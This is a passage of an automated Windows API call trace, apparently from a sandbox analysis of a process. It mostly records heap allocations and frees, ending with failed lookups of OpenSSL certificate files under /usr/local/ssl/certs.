returned 0x2d34fd8 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25) returned 0x2d51260 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2d5b300 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35998 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4abb8 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35470 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fa8 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4abe8 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34df8 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac08 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f90 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351a0 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab78 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0120.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab68 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358c0 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36288 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d51260 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0120.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab08 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a920 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356b0 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35800 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c38 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d98 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a8a8 | out: hHeap=0x2a0000) returned 1 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d68 | out: hHeap=0x2a0000) returned 1 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35158 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34d98 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d68 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35c38 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0120.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d35110 [0120.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359e0 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36328 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363e8 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359e0 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35200 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2d51260 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363a8 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36148 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fc8 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d35008 [0120.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d361c8 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35800 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0120.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c38 | out: hHeap=0x2a0000) returned 1 [0120.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d68 | out: hHeap=0x2a0000) returned 1 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35d68 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d35c38 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acf8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10e) returned 0x2d4a988 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35668 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab68 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a8a8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35080 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d35fc8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35008 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4abe8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d358c0 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0120.074] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x20) returned 0x2d4a920 [0120.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35800 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351a0 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36288 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d362a8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f90 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x43) returned 0x2d460d8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34fa8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35470 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2d45ea8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35998 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352f0 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361a8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aaf8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2d5b100 [0120.075] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a920, Size=0x40) returned 0x2d36488 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35170 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35878 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d35368 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf6) returned 0x2d4d9a8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d357a0 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35c88 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0120.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x77) returned 0x2d5b000 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x522) returned 0x2d60998 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d35578 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ad58 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100) returned 0x2d59108 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35740 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10c) returned 0x2d60ec8 [0120.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d50ef8 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d562c0 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35740 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab58 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35590 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d354a0 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aad8 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b00 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36108 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35608 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d353c8 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35428 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac38 [0120.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac48 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a40 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d359c8, Size=0x20) returned 0x2d4a920 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d490e8 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a10 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d80 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d49168 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4adf8 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x23) returned 0x2d51170 [0120.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0120.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0120.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0120.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d88 | out: hHeap=0x2a0000) returned 1 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35590 [0120.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d354a0 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35590, Size=0x20) returned 0x2d4a650 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35590, Size=0x20) returned 0x2d4a448 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35410, Size=0x20) returned 0x2d4a920 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35608, Size=0x20) returned 0x2d4a448 [0120.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35608, Size=0x20) returned 0x2d4a3d0 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35a28, Size=0x20) returned 0x2d4a3d0 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a3d0, Size=0x40) returned 0x2d36518 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d350f8, Size=0x20) returned 0x2d4a3f8 [0120.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e88 | out: hHeap=0x2a0000) returned 1 [0120.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35050 | out: hHeap=0x2a0000) returned 1 [0120.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48f48 | out: hHeap=0x2a0000) returned 1 [0120.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49328 | out: hHeap=0x2a0000) returned 1 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35050, Size=0x20) returned 0x2d4a7e0 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35050, Size=0x20) returned 0x2d4a948 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e40, Size=0x20) returned 0x2d4a3f8 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b90, Size=0x20) returned 0x2d4a948 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b90, Size=0x20) returned 0x2d4a718 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35c08, Size=0x20) returned 0x2d4a718 [0120.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4bdc8, Size=0x10) returned 0x2d4be58 [0120.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4bea0, Size=0x20) returned 0x2d4a290 [0120.079] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", lpFindFileData=0x18f560 | out: lpFindFileData=0x18f560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d560e8, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d561e0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f880, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x11, cFileName="xö\x18", cAlternateFileName="")) returned 0xffffffff [0120.079] GetLastError () returned 0x3 [0120.079] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", nBufferLength=0x104, lpBuffer=0x18f6a0, lpFilePart=0x18f4f8 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\157753a5.0", lpFilePart=0x18f4f8*="157753a5.0") returned 0x21 [0120.079] GetLastError () returned 0x3 [0120.079] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", lpFindFileData=0x18f558 | out: lpFindFileData=0x18f558*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d560e8, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d561e0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d561e0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0x11, cFileName="pö\x18", cAlternateFileName="")) returned 0xffffffff [0120.079] GetLastError () returned 0x3 [0120.079] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", nBufferLength=0x104, lpBuffer=0x18f698, lpFilePart=0x18f4f0 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\d6325660.0", lpFilePart=0x18f4f0*="d6325660.0") returned 0x21 [0120.079] GetLastError () returned 0x3 [0120.080] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/1400f578.0", lpFindFileData=0x18f558 | out: lpFindFileData=0x18f558*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d560e8, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d561e0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d561e0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0x11, cFileName="pö\x18", cAlternateFileName="")) returned 0xffffffff [0120.080] GetLastError () returned 0x3 [0120.080] 